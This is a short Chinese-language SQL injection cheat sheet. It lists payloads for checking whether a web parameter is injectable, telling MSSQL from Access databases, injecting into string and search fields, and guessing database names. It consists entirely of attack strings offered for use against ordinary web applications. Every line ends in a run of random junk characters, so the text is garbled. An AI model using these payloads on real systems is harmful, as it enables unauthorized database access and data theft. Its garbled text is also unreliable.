1.判断是否有注入;and 1=1 ;and 1=2 cTKj1)!z?X
2.初步判断是否是mssql ;and user>0 =$B:i>z<
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3.注入参数是字符'and [查询条件] and ''=' -Kj^ l3w
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ^G,]("di`
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5.判断数据库系统 [T;0vv8
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;and (select count(*) from sysobjects)>0 mssql G<C[A
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;and (select count(*) from msysobjects)>0 access `N~;X~XFk
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 )g9&fGYf
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